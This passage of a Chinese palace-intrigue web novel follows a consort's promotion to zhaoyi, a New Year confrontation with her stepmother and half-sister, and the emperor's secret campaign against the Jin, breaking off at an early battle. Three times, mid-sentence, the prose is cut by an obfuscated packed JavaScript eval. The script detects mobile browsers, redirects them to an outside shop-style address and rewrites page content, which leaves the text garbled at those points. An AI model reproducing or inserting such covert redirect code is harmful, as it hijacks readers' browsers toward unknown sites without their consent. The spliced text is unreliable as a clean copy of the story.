宫中也有变动。自此案出了结果后,太后就一直称病不出。最初后宫妃子们也怀疑太后是不是以生病为由逼迫皇帝妥协,见太医总是去慈宁宫看诊才确定太后的确是病了。 之后风声就渐渐转变成“定国公府祸乱大齐险致兵败,气病太后”。太后听到这说法,病得更严重了。 同样生病的还有孟才人。她的父亲,兵部主事,也随定国公府一同构陷蓟辽将士,多封虚假战报就是出自他手,开原的布防图同样是通过他的手交给金人。他没有定国公这样深厚的背景,皇帝自然不会对他手软,直接将他满门抄斩。行刑完毕后,孟家就只剩下孟才人这个出嫁女了。 皇帝倒没有惩罚她,但是她实在接受不了这个噩耗,悲痛之下就病了。 此外,沈明珮也得以晋位,皇帝下诏升她为昭仪。 景阳宫内,宣读完圣旨的太监笑着对沈明珮说:“恭喜沈昭仪。” 不用沈明珮示意,寒露立刻将装着银子的荷包交到太监手里:“辛苦公公了。” 太监颠了颠荷包,满意地离开了。 “恭喜主子!主子大喜!” 等太监离开,四个宫人全部围到沈明珮身边,向她道喜。白菊也在其中。锦衣卫审讯定国公兄弟时,在朝堂上为与他们站在同一立场的夏家也被迫低调行事,被沈明琛府上的管家抓住机会,带人将白菊的亲人全部救出来。几人虽然被关了很久,但好歹没有生命危险,医师诊治后没多久就恢复健康。 现在他们在沈府当雇工,已无危险,但若白菊再行反水之事,他们也是最好的人质。 “你们四人腊月全部拿双倍月俸!”皇帝对定国公府的惩罚固然令人不满,但能够升位也足够让人欣喜,沈明珮抬手就给他们这个月的月俸翻了一番,这钱当然是从她的私库里出。 白芷三人又是一番谢恩。 蓟辽军刚在遭遇自己人坑害的情况下击退金人,作为蓟辽总兵的外甥女,沈明珮这里也是个热灶。当天傍晚,便有女官带着数个宫女、太监来到景阳宫。 “沈昭仪,这些宫人全都背景清白,您可以放心挑选。” 昭仪按例可有四个宫女和两个太监,沈明珮随手挑了一个宫女和一个太监,如此,她的宫人名额便满了。 寒露照例将装着银子的荷包奉上,女官带着剩下的人离开。 沈明珮没有给新来的宫女和太监改名,只把他们分别交给白芷和宋英培训。待白芷和宋英各自将人领走,吃过晚饭,又有内官监的太监带着家具器物过来,将东配殿布置成符合昭仪规制的模样。 等再送走这批太监,已到各宫落锁之时。沈明珮成为昭仪的第一个晚上就在一片匆忙中度过。 15. 新年 沈明珮再走进坤宁宫请安时,坐上了与宋昭仪相对的位置。 因着前日收拾到很晚,她起得也晚,等到了坤宁宫时,只剩下三位娘娘还没到了。众人的目光移到她身上,但没有人冒头。 等她坐到座位上,宋昭仪笑着对她说:“恭喜沈妹妹。” 沈明珮已微笑着颔首:“多谢姐姐。” 其他妃嫔都没说什么。虽说沈明珮此番升了昭仪,但若是换成她们,她们还真不想这么升位。沈明珮的膝盖现在还需养着,兄长也险些丢了性命,一个表兄更是战死,这升位的代价实在是太大了啊! 顺嫔很快也到达坤宁宫,而后是宁妃,最后皇后在心腹宫女的陪伴下到场。 皇后一看到坐在第二排、紧靠着顺嫔的沈明珮,心中一阵气闷。她的父亲因为帮定国公弹劾刘顺,也遭了皇帝的申饬。若非确实没有证据证明她父亲掺和进对蓟辽军下黑手的勾当,只怕她父亲一样要被贬官。偏偏沈明珮还晋为昭仪,直接从六品蹦到四品,与主位只差一步之遥。 皇后只当她不存在,眼不见心不烦,简单说了几句就草草结束晨定。 妃子们各自离开。说来自从定国公府两位老爷一罢官一凌迟,致使太后生病后,皇后定期带着宫妃向太后请安的规矩就免了。这是切实地给大家减负了。 沈明珮回到景阳宫,见白芷和新来的宫女将一些新衣铺在床上。 “主子!”白芷凑过来,欢喜地向沈明珮报告,“尚服局的宫人送来符合昭仪规制的新衣了!” “哦?让我看看。”沈明珮立刻走向床边,检查自己的新衣。 这次的新衣与过往的确有不同,除开面料更加精细外,颜色也正常了很多,是确实能在大场合穿出去的衣服。 沈明珮又全部试穿一遍。她刚升昭仪,又马上要过年,尚服局时间紧急,来不及为她量体裁衣,此次送来的都是成衣。但好在都是按她先前的数据挑选,穿在身上很合适。 沈明珮很满意。 “主子很美!”寒露高兴地拍手,“到底是不是认真当差,真的是一目了然!这次主子总算不用穿入宫前的衣裳赴宴了!” “是啊,用心准备和故意刁难,送过来的东西就是不一样。”沈明珮感慨。 晋升昭仪不过一天,她就已经实打实地体会到待遇的不同,宫人也再不敢暗戳戳地为难她。这就是权势带来的好处。 “好了,将衣服收起来吧。”沈明珮面上不动声色,只命令宫人将衣服收好。 此时距离过年已没有几天,短暂的兴奋过后,景阳宫东配殿上下继续准备新年。等到旧年的最后一天,一大早,宫人们就将春联贴在东配殿的大门上。 这天不用晨定,沈明珮睡了个懒觉,醒来后东配殿已经很有节日气氛了。她洗漱完,走到院子里,见景阳宫其他各处也都有宫人装点。 在景阳门外贴春联的两个太监见她走到院子里,忙完后前去同她请安。 “请昭仪安,祝昭仪新岁如意!” 沈明珮立刻招呼寒露给两人包了红包。 “你们也要新岁如意!”她亲手将红包交给两人,当作给他们的压岁钱。 得了赏的两人又说了好些吉祥话,方才千恩万谢地离开。 等到临近傍晚,沈明珮换好衣服,带着寒露前往乾清宫。本朝除夕宫宴亦是家宴,因着冬日寒冷,在乾清宫正殿举行。 因为是家宴,沈明珮穿得也比较活泼。酡颜色长衫,天水碧色马面,皆是纯色,为织锦料子,是升位昭仪后尚服局新送的。头戴金镶宝百蝶穿花头面,头面上的蝴蝶活泼灵动,亦是内官监送来的珍宝。她来得不早也不晚,刚好在乾清宫外碰上宋昭仪。 “真是巧啊,我竟是与姐姐一同到的,”她笑着同宋昭仪打招呼,“姐姐可愿与我一同进去?” “妹妹盛情相邀,我岂会不愿?”宋昭仪说着走过来,挽上沈明珮的手臂,“一起进去吧。” 寒露和宋昭仪的侍女低着头跟在后面,四人一并进了乾清宫。 乾清宫内,座位已坐满了大半,所有散号妃嫔都已经到了。大病一场的孟才人瘦了很多,但依然收拾齐整出现在了现场,她看见沈明珮,神色很不自然,默默别过头。何美人也来了,她肚子已然很大,但脸依旧是尖尖的,可见这段时日过得并不好。 两个昭仪的位置紧邻,沈明珮与宋昭仪挽着胳膊坐到座位上。 顺嫔和宁妃都是带着孩子来的。大公主肖似母亲,长得很漂亮,让人一眼看过去就心生喜爱。她大抵是有些怕生,抓着母妃的袖子,眼睛睁得大大地看向四周。二皇子还由宫人抱着,不哭不闹,看起来很壮实。 过了一阵子,又有两个孩子过来,一个大一点的男孩儿和一个小一点的女孩儿。这大一点儿的男孩子正是太子,他是皇帝最年长的孩子,已有先生教导。小一点儿的女孩儿也有四五岁,跟在哥哥后面,看到在场的这些妃子后不屑地哼了一声,大幅度地把头甩到另一边。大公主看到二公主,更是抓紧了顺嫔的衣缘,瑟缩着躲到她身旁。 顺嫔拍了拍她的后背,在她耳边低声说了些话,她才恢复平静。 除夕家宴这种场合,皇帝皇后自然是一同出现。二人出现在乾清宫正殿后,其余众人行过礼,皇帝便宣布开宴。各种佳肴一道道端上来,众人吃得很畅快。皇帝没有拖沓,等菜上齐,众人吃完,就放人回宫。 沈明珮正要回去,突然听到一声怒气冲冲的童音。 “你给我站住!” 她转过头,看见二公主掐着腰,满脸敌意地看着她。 她屈身行礼:“公主叫住妾是有什么事?” “坏女人!”二公主骂她,“让母后生气的贱女人!等兄长登极后本宫一定要让他杀了你!” 沈明珮心里发寒,这才几岁的孩子,就知道杀人了? 公主可以这么说她,她却不能这么直接地说公主,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887969|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快速思索,随后对公主说:“公主殿下可知道太子殿下登极意味着什么?陛下春秋正盛,又惯常宠爱您,您怎么能这么轻易地说他驾崩呢?” 二公主非常生气,抄起路边一块冰就要冲她砸去。 “宏玉,住手!”太子殿下及时赶来,制止住二公主。 “沈昭仪,舍妹无礼,给你添麻烦了。”他立刻向沈明珮致歉。 “没关系,小孩子嘛。”沈明珮微笑着摆摆手,表示自己并不在意。 二公主还要闹,太子强硬地拉住她,向沈明珮告辞后带着二公主离开。 沈明珮的笑容在太子的身影消失后立刻荡然无存。太子到底年幼,掩盖情绪的功夫不足,她能看出他对她也怀有敌意。太子由先帝亲自赐名,宏字辈,水字旁,取泽字,看重之意明显,二公主更是打破了公主的取名惯例,同皇子一样从了宏字辈,这样两个身份贵重的孩子对她敌意满满,若最后太子当真即位,只怕她会死无葬身之地。 沈明珮沉默地走在回宫的路上。她心中的信念更加清晰,绝对不能让太子登上皇位。 但眼下是除夕,既然是节日,自然要开开心心地过。回到景阳宫后,沈明珮与宫人一同守岁,到子时又一起吃了尚食局送来的扁食,喝了椒柏酒,给宫人们发了压岁钱,才打发他们睡觉。 元旦皇帝要祭拜天地祖先,而后百官要在皇极殿朝贺皇帝,皇后也要在坤宁宫接受外命妇朝拜,但这与沈明珮都没关系。她可以一觉睡到太阳高挂,而后只需参加正午的大宴。 大宴不同于家宴,文武百官及其家眷都要参加。帝后需着衮冕翟衣,官员及家眷需着朝服与礼服,嫔以上宫妃也需着礼服。沈明珮只是昭仪,没有礼服,便着石青织金凤鸾上袄,配朱红织金璎珞马面裙,头戴金镶宝火焰头面。 大宴设在皇极殿。宫妃与官眷的位置远远隔开,沈明珮坐下后很不起眼。除宗室外,官员都已到齐,沈明珮悄悄看过去。 想见的人当然是一个都没有,不想见的人倒是看见好几个。 她的大哥在她入宫前一年中了进士,经运作后留在京城,授正七品礼部主事,此刻他正穿着朝服,远远地坐在靠后的位置。他的身边,除了他的妻子外,居然还坐着本应该在金陵的太太。她的二姐坐得很靠前,身为武威侯府世子夫人,她同武威侯夫人坐在一处。武威侯世子在京城大营任指挥佥事,她也身着四品恭人服饰。 沈明珮继续看,居然看到了她的三姐沈明瑜。她的三姐坐在了一位国公夫人的身后,显然是嫁进了国公府。国公府的位置靠前,沈明瑜察觉到她的目光,向她露出挑衅的笑容,国公夫人也察觉到两人的眉眼官司,很不客气地瞥了她一眼。 沈明珮很不喜欢这位三姐。如果说二姐是蔫坏,而且好歹有年龄差距,不太与她发生冲突,那三姐就是明着跋扈。沈明珮在家时没少受她的欺负。 敌人们都意气风发,沈明珮这场宴席吃得很不痛快。 16. 初二 大年初二,内命妇会见外命妇。 不同于正旦皇后接受内命妇朝拜,大年初二的会见其实是宫妃见自己的家人,算是缓解宫妃对家人思念的福利。 但这与沈明珮没什么关系。她生母远在江南,本就不可能进宫,况且就算是在京城,沈思远夫妻两个也不可能会允许她进宫。故沈明珮一身燕居便服,完全没有打扮,看话本子打发时间。 坤宁宫内,皇后正在与母亲诉说思念,身边还坐着姑母和表妹。刚结束的那一年有皇帝登极以来的第一次大选,母女俩不可避免地会说到这些新人。 “陛下在给分位上很谨慎,没有功劳的一律不给晋位,”哪怕是首辅的孙女进了宫也得在散号上慢慢熬,皇后对此很满意,“陛下还算尊重我,虽然宫里有些人很讨厌,但我过得大体还是挺舒服的。” “过得舒服就好,”夏家太太紧紧握着女儿的手,“娘娘在宫里过得好,我们在外面才能好。要是谁敢让娘娘不痛快,我们也让她的家族不痛快!” 说着,她的眼睛里闪过精光。 “至少她们现在不敢,”皇后笑着问,“爹爹最近如何?陛下可因为定国公府的事为难他?” “没有,”夏家太太回道,“老爷他只是在朝上为定国公说了几句话,没有真掺和进那些事里,陛下批评他几句后就过去了。” 皇后满意地点头:“这就好。我们虽然与定国公府结盟,但并不是要唯他们马首是瞻,我夏家也是从太祖皇帝传承至今,为何不能让这同盟以我们为主?” “娘娘所言极是。”夏家太太笑着说。 “表妹成婚之后就是不一样了,快过来让本宫看看。”皇后招呼沈明瑜,沈明瑜立刻走上前去。 “明瑜见过表姐。” “不错,成了婚稳重多了,”皇后说着,将手上的羊脂白玉镯子褪下来,戴到沈明瑜的手上,“你成婚时宫里风声正紧,表姐没能送贺礼与你,现在补上。” “多谢表姐!”沈明瑜喜上眉梢。 皇后又看向自己的姑母:“姑母打算何时回江南?” 沈太太回答:“回娘娘,臣妇出了正月就回去。” 皇后点点头:“吾知道了。母后与吾通信,想让姑母带着表姐并他们定国公府的三少奶奶去见见沈昭仪,姑母怎么看?” 沈明瑜一听见沈明珮,眼睛都亮了。 沈太太不假思索地答应了:“说来那沈明珮也算是臣妇的女儿,臣妇便见一见她。” 母女二人告辞,只留夏家太太一人继续在坤宁宫陪女儿。 沈明珮没有想到,太太居然带着她女儿来了。 “主子可要换身衣服?奴婢可以让他们在外面候着。”寒露问她。 沈明珮想了想,还是摇了摇头:“再怎么穿也华丽不过命妇大妆,不若不换。” 于是太太进殿后,就看见沈明珮一身燕居服、不戴珠翠,随意地倚靠在椅子上。 她悄悄握紧拳头,沈明珮这幅样子实在是碍眼。 见她毫无行礼的意思,寒露立刻不满地质问:“沈夫人不知道面见天子妃嫔需要行礼吗?” “不过一个昭仪,就摆起娘娘的谱了?”沈明瑜立刻反唇相讥。 “来人,掌嘴!”寒露一声冷喝,白菊就立刻跑到沈明瑜面前,抬手就是两巴掌! “沈昭仪,这就是你对待嫡母和姐妹的态度吗?”太太疾言厉色,“你就不怕皇后娘娘知道后治你不孝不悌之罪吗?” 在这个时代,礼教向来都是攻讦他人的利器。 但这柄利器不只太太会用。 “母女姐妹之前尚有君臣,三姐姐她作为臣下之妻不敬天子后妃,吾不过略施惩戒,便是陛下亲至也不会认为吾有过错,”沈明珮悠然反驳,“这才刚刚大年初二,太太就又要给吾添堵了?怎么,沈大人见自己不能将吾的兄长拉下马,就让你们找吾的麻烦?” “昭仪这是什么话,”太太立刻否认,“瑜姐儿嫁进平国公府,昭仪先前的未婚夫也结了亲,臣妇当然要带过来给昭仪看看。” 这话就很恶毒了,沈家与定国公府当初甚至还没有纳采,他算哪门子的未婚夫? 沈明珮立刻冷下脸:“太太可知污蔑宫妃该当何罪?本昭仪怎么不知自己何时还有了个前未婚夫?自二姐出嫁后,沈府可再没有进过媒人哪。” 太太心里很不爽。这沈明珮当了宫妃后真的很会用自己的身份,仗着陛下的权势处处同她做对。陛下怎么就把她收进宫了? “昭仪说得是,”她艰难地赔笑道,“臣妇只是想带她们来见见昭仪。” 说着,她自己让到一边,让两个年轻的太太站在沈明珮面前。 “臣妇见过昭仪。”两人行礼。 “瑜姐儿的夫婿是平国公世子,现在领着京城大营千户的职,瑜姐儿也跟着得了五品宜人的诰命。三少奶奶的诰命是太后娘娘亲自封的,也是五品宜人。” 太太一边介绍,一边心中得意——你沈明珮便是进了宫如何?不还是一个连翟冠霞帔都没有的散号妃子,但我的女儿和你先前看不上的定国公府三少奶奶可都是诰命夫人!我看你后不后悔眼不眼馋! 沈明珮不后悔也不眼馋。平国公世子夫人这种位置沈家夫妻定然不会让她坐上,至于定国公府三少奶奶,靠威逼利诱才有人落到这个位置上,这身份能是什么好东西吗? 沈明珮好奇地看向这位三少奶奶。她纤细瘦小,厚重的宜人大礼服几乎要把她压垮。她的妆容很浓,厚厚的白粉抹在脸上,黑色的眼尾上挑,嘴唇鲜红。但她还是能看见掩盖在妆容之下的浓重的黑眼圈。 这个样子还要拉到她面前炫耀吗? 三少奶奶感觉到沈明珮的视线,对着她露出一个友好的笑容:“久闻昭仪大名,今日终于得见,确实仪态万方,让臣妇实在倾慕不已。” 她才不会老老实实去挑衅沈昭仪,她只庆幸这般耀眼的人没有落入定国公府那样的虎狼窝。 自己带来的人直接倒戈,太太脸色瞬间就变了,沈明瑜更是死死瞪着三少奶奶。 正在这时,白芷走了进来。 “主子,定国公夫人着人请定国公府三少夫人回慈宁宫。” 听到禀报,三少奶奶立刻站起身,向沈明珮辞行:“臣妇告退。” 沈明珮立刻放人离开。三少奶奶忐忑不安地回到慈宁宫,定国公夫人已经准备好离开了。 见到她,定国公夫人冷淡地说:“走吧。” 定国公夫人并不喜欢这个儿媳妇。虽然自己的小儿子早就声名狼藉,但她依然觉得他无比出众,就连天上的仙子都娶得。让自己的儿子娶沈明珮这个两江总督的庶女,在她看来已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892083|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了家族利益牺牲儿子,何况是区区一个礼部郎中的女儿? 她本人非常痛恨沈明珮——一个庶女还敢拒绝她的儿子,简直是给脸不要脸,故而在针对刘顺时,她特别盼着宫里的太后直接把沈明珮处死。可惜她的希望落空了。现在这个儿媳妇在她看来依然是给脸不要脸——一个小官之女,也敢寻死觅活?还好她父兄是明白人,不然定国公府一定让他们全家获罪而死。但她依然厌恶这个儿媳妇,从她进家门第一天起就立足了规矩,摆足了婆婆的谱儿。即使是在宫里,她依然不给小儿媳妇一点好脸色。 其实三少奶奶也不喜欢定国公夫人,或者说,她厌恶着定国公府所有人,只是她无力反抗。她低着头,沉默地跟在定国公夫人身后。 景阳宫中,三少奶奶一走,剩下三人都不再掩饰。 沈明珮率先发难:“这大过年的,太太还这么处心积虑地给本昭仪添堵,真是辛苦了。可惜您这么殚精竭力,好像没什么用呢。” “真的没用吗?”沈明瑜回怼,“那么费尽心思地进了宫,表兄都战死了也还是个散号宫嫔,连翟冠霞帔都没有,你真觉得自己过的是好日子?以后二姐姐会是侯夫人,我会是国公夫人,你却永远要在表姐之下,我要是你早就找根绳子吊死了!” “但是你们哪怕真成了国公夫人、侯夫人,也依然要向我行礼,这么看,成为天子妃嫔确实挺好的。向昔日鄙弃之人屈膝行礼,三姐姐感觉如何呀?”沈明瑜的话确实对沈明珮没有任何杀伤力,她立刻就反击回去了。 “你!”沈明瑜指着沈明珮的鼻子,恼羞成怒中口不择言,“不愧是小妾的女儿,跟你那个贱人娘一样上杆子给人做妾!” “啪”的一声,耳光就删在了沈明瑜脸上。 “太太教出来的女儿果然还太太一样全无良心,”沈明珮眼里淬了毒,“我阿娘当初本也有心仪的郎君,若非你那个爹见色起意,她那个狼心狗肺的父亲又怎会把她塞进沈家后院?太太也是,明知道是你的夫君管不住色心,偏偏一边假借夏家威势逼人为妾,一边又残害被逼为妾的女子,我阿娘何辜,偏偏碰上了你们这群吃人不吐骨头的豺狼!” 太太皱了皱眉,这些事她并未同沈明瑜说过,也不想让女儿知道。 她立刻转移话题:“不论如何,对你的婚事我是尽心的。定国公府三郎出身高贵,又得长辈喜爱,封了荫官,嫁过去不是顶顶好的生活?你看那三少奶奶,已经封了宜人,你有何不满意的?” 沈明珮“嘿”地一笑:“那太太怎么不让三姐姐嫁过去?我跑了,三姐姐还在啊。真如太太说的那般好,定国公府怎么还挑了个郎中家逼婚?” “你算是什么东西,敢跟我比!”沈明瑜尖叫怒骂。 然后她就又挨了巴掌,这次是寒露扇的。 “侮辱宫妃,按宫规掌嘴十下。”寒露面无表情地补充。 见沈明瑜脸都被扇肿了,沈明珮心中畅快,她笑着劝诫太太:“太太还是好好教一教三姐姐吧,虽说她已经出阁,但这种事情若是真让平国公夫人管教,恐怕就太伤声誉了。” 太太见这一趟没讨到好,憋着气请辞:“时候不早,臣妇告退。我们来日方长。” 沈明珮意味深长地点点头:“沈夫人说得没错,我们来日方长。” 她早晚要让这些人都付出代价。 17. 备战 上元节未至,京城百姓还沉浸在过年的气氛中,锦衣卫已经悄然出动。 黑夜中,锦衣卫闯进一户商人宅院。宅子里顿时一阵吵闹,随后竟传出兵器相接的声音。过了片刻,打斗声歇,锦衣卫拖着一群被捆好的人走出宅子,将人扔进囚车里,浩浩荡荡地开去下一家。 左邻右舍这时才敢打开门,悄悄探出头。正要说些什么,又见两个锦衣卫小旗捧着物证走出来,慌忙逃回家中。 从天黑到子时,京城锦衣卫将整个京师抄了个遍,不论富人区还是贫民区,皆有人落网。子正过后,锦衣卫指挥使顾不上休息,直奔乾清宫而去。 皇帝也没有休息。他静静地坐在批阅奏折的椅子上,面前摆着蓟辽总兵刘顺的密折。密折中,刘顺首先汇报,蓟辽军民已恢复正常生活,随后又请求皇帝抓住金人在先前的战争中消耗过大的机会,开春后伐金。 见锦衣卫指挥使走进来,他将密折递给自己的这位心腹:“孙爱卿,刘顺的这个折子你怎么看?” 孙指挥使恭敬地将折子递给皇帝:“臣以为可行。据密探来报,今冬北地极寒,金人受灾严重,死伤者众。加之先前战争金人同样消耗极大,接下来的春日确实是我们灭金的好时机。” “爱卿所言,亦是朕之所想,”皇帝在赞许中定下此事,“人都抓到了吗?” “回陛下,京内金人密探已全部落网。”孙指挥使回禀。 “很好。你们多辛苦些,尽快把这些人审出来。” “是!”孙指挥使应下。 锦衣卫指挥使退下,皇帝却还没有休息。他继续写下几道密令,派自己的心腹太监连夜送出京城。 刘顺收到密令时,蓟辽军正在训练新兵。这个年辽东军民根本就没有过,开原城中十室九空,其他与金人交战的城镇也几乎家家户户都挂着白幡,没人有过年的心情,只有炽烈的仇恨。 蓟辽军打光了大半,再招兵时百姓居然踊跃报名,上上下下都盼着让金人血债血偿。理所当然地,蓟辽军没有休新年假,招到新兵后直接开始训练。刘顺一边上书皇帝,一边紧锣密鼓地准备着可能发起的战争。 皇帝没有让刘顺失望。看到密令后,刘顺操练新兵的动力更足了。 新年假期后的第一个早朝,以锦衣卫指挥使的述职开始。 “陛下,臣有本奏,”孙大人在早朝开始后就站出来汇报,“锦衣卫正月共抓获金人密探二十七人,俱系于诏狱之中,现已全部招供。” 而后,他将这二十七人的身份、伪装以及供词梗概全部在皇极殿上讲了出来。讲完后他行了个礼,回到朝臣队伍中。 “以上就是臣要上奏的内容。” 他是说完了,却给朝臣们扔下一颗巨雷。金人的探子竟然已经混进六部之中,其中职位最高的已经是兵部员外郎,还有数人是小吏。除此之外,这些人里还有酒楼老板、马商、粮商,甚至还有人专门去做混混头子,网罗三教九流之人。京城的各个阶层他们都有渗透。 幸好锦衣卫把他们一网打尽了! “孙爱卿做得很好,”皇帝满意地夸赞,随后又扔下一颗巨雷,“蓟辽总督刘顺上书请求朕发兵伐金,朕已经允了。” 朝堂上安静得只能听到大臣们的呼吸声。 户部和兵部的官员按理是该在这种时候说些什么的,可这两部年前刚刚经历大换血,新上任的官员们都老实得跟鹌鹑一样。都察院也有劝诫陛下之责,但都察院年前也挨了陛下好一顿申饬,左都御史、右都御史两位首脑思来想去还是当了锯嘴葫芦。 至于其他部门,那就和打仗无关了。 皇极殿上安静了好一会儿,一个阁老终于站了出来。 “陛下,”他结结实实地行了个礼,小心翼翼地反对,“大齐刚经历苦战,如今又欲兴兵伐金,臣恐力有不逮。” “钟大人此言差矣,”宋首辅立刻站出来反驳,“大齐固然先前损失惨重,可金人国土狭小、人口稀少,损失只会比大齐更大。抓住此机会,趁他病要他命,确实是良策。” 早朝前一天晚上,皇帝就秘密宣宋首辅入宫,宋首辅今早的任务就是帮皇帝说话。宋首辅出身平平,固然年轻时高中状元,宦海沉浮多年后也只是工部尚书。是皇帝登极后力排众议直接提拔他为首辅,他当然忠诚地站在皇帝身后,为他摇旗呐喊。 钟阁老心中直骂宋首辅——老匹夫,都一把年纪了还这么狗腿,真不知羞耻! 左都御史夏大人刚被申饬不久,这时候不敢冒头,但他又实在不愿意刘顺再得功劳,便回过头,示意自己的学生,左佥都御史上前说话。 左佥都御史得了暗示,立刻走出来:“陛下,行兵打仗不仅要看敌人的情况,更要看我们自己的能力。蓟辽军刚打完一场大战,还有能力快速集结士兵、备好物资吗?” 夏大人心中暗暗点头,自己这个学生说话有理有据,显不出半点私心,确实是个可用之才。 “爱卿说得没错,”皇帝发话,“所以朕已经去信河南、山东两省都指挥使,亲自率部配合蓟辽总督反攻金人,现两地军队已集结完毕,向宁远出发。” 满朝文武不论是支持伐金的,还是反对伐金的,此刻都意识到皇帝意志之坚决。今次早朝,他根本不是寻求臣子们的意见,而是干脆直接的通知。 宋首辅带头表明态度:“陛下圣明,臣等定协助刘总督讨伐金人。” 陛下坚持,首辅力挺,其他人也没有反对的余地,纷纷表示赞同。 “很好,”皇帝满意了,“只要爱卿们能齐心协力,我大齐何愁有敌手?此次伐金,粮草依然由户部调取,武器仍由兵部负责,希望你们这次都能好好准备,莫要再行高家旧事。” “是!请陛下放心,臣必不辱使命!”两位新鲜出炉的尚书立刻保证。 下朝过后,兵部与户部的官员立刻离开,直奔自己部的衙门——任务紧张,没时间拖沓,赶紧干活。夏大人憋着一肚子气往都察院走,碰上了慢悠悠往外走的宋首辅。 夏大人心里有气,说话也不好听:“宋大人这个首辅当的,真是只有辅了。” 宋大人也看不惯夏大人:“夏大人看不惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896166|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘总兵,不想让他得军功,大可去找皇帝说,拿老夫撒气做什么?” 仗着自己出身好一天到晚趾高气扬,全家人都是不把别人当人的这一套,那皇后女儿还暗戳戳地给老夫孙女穿小鞋,什么东西。 “宋首辅慎言,本官固然与刘总兵不睦,但也不会为了私心阻碍大齐,”夏大人正了正表情,“辽东此前已经战死很多军民,再打一仗,辽东还能有民户吗?” 不会为了私心阻碍大齐?你哄鬼呢。宋首辅心中驳斥,对着夏大人还是简单解释了一句。 “陛下对此早有准备,夏大人大可放心。” 说罢,他扔下夏大人,继续慢悠悠地走出皇宫。 与前朝一样,这也是新年后宫中的第一次晨昏定省。早朝早早结束,这边晨定还没散场,就有宫人跑过来,低声在皇后耳边说了些什么。 皇后险些没拿住手中的茶杯。 待宫人说完,皇后命她离开,而后不自然地挤出一个笑,看向沈明珮:“恭喜沈昭仪了,陛下刚刚命你舅舅率兵伐金,刘总兵再得晋升指日可待。” 众人的目光集中在沈明珮身上,沈明珮也很惊讶,面上却摆出谦逊的姿态:“陛下看重舅舅,是舅舅之幸。妾也不求舅舅能再得多大的官职,能解陛下之忧,除我大齐心腹之患便好。” 皇后心中气闷。正因为是政敌,她才更清楚刘顺本人的领兵能力,此人在后方不拖后腿的情况下真的能够彻底将金人灭掉。这么大的功劳落到敌人头上,她怎么可能舒服?她草草挥退妃嫔,在小厨房里忙活了大半个上午,拎着食盒就去找皇帝。 守门太监不敢拦她,将她放进乾清宫。 “皇后来了,可是有事?”皇帝正在批阅河南、山东两地都指挥使的密报,见几乎不进乾清宫的皇后走进来,有些惊讶。 “陛下处理政事辛苦,妾身给陛下做了些吃食。现在已是中午,陛下不若歇一歇,先吃些东西。”皇后说着,打开餐盒,里面有人参鸡汤、枣花糕、白灼青菜。 “唔,也好,”工作一上午,皇帝也饿了,当即命人传膳,“梓潼与朕一并用膳吧。” 皇后满意地勾起嘴角,与皇帝对坐,她做的三道菜完美地融合进太监呈上的午膳中。 两人安静地吃完,皇后终于问皇帝:“听说陛下欲派蓟辽总兵伐金?” “确有此事。”皇帝回复。 皇后眨了眨眼,又小心翼翼地说:“刚打完仗又要打,会不会有些不妥?” “哦?”皇帝轻笑,“梓潼是觉得大齐收复奴儿干不妥,还是觉得朕任命刘顺为主将不妥?” 皇帝明明笑着,皇后却感到一阵寒意,她忙低头说:“陛下误会了,妾只是担心蓟辽军刚经历战争,不足以攻伐金人。” “你最好是如此,”皇帝警告她,“我大齐国母,绝不可为一己之私拖累江山社稷。” “妾身明白。”皇后应道。 这事就算过去了。皇后悬着的心直到回到坤宁宫才放下,她瘫坐在椅子上,心里一阵后怕。 当天晚上,皇帝驾临景阳宫。 18. 生女 此次出兵,主帅与皇帝间均以密折、密令联系,朝中其余人等,若非皇帝公开,完全不知任何情况。押送武器与粮草的官吏也是只知道他们自己这一段的任务,其他一概不知。 就这样,在严格的保密下,二月初九晚,趁着夜色,整合完毕的齐军走出开元城门,直奔金人的领地而去。 金人是被火炮轰醒的。在前朝基础上继续优化制成的火器,射程超过四里,刚通过测试就送到了蓟辽军手里。炮弹轰在金人的城楼上,将守城的士兵不过一瞬便尽数丧命。 “敌袭!”尖厉的警戒声响彻全城,守城将领这才惊醒。 他慌忙领着城内军士出城迎战,而后看到了一支浩浩荡荡的大军。 “他们是怎么过来的!”他惊恐于自己没有收到一点消息,可此时大敌当前,他没有时间细想,只能带兵抵抗齐军。 天还没亮,这座城市就被齐军攻下。 刘邈坐在城内官衙中,城中官员被齐军押着跪在他面前。 “接下来你们照常当值,过去怎么样现在依旧怎么样。你们的家人都在我们的手里,该怎么做我想你们心里应该清楚。”他威胁这些官员。 “是,是,一切都听将军的。”官员们点头如捣蒜,没办法,不听话的已经被杀了。 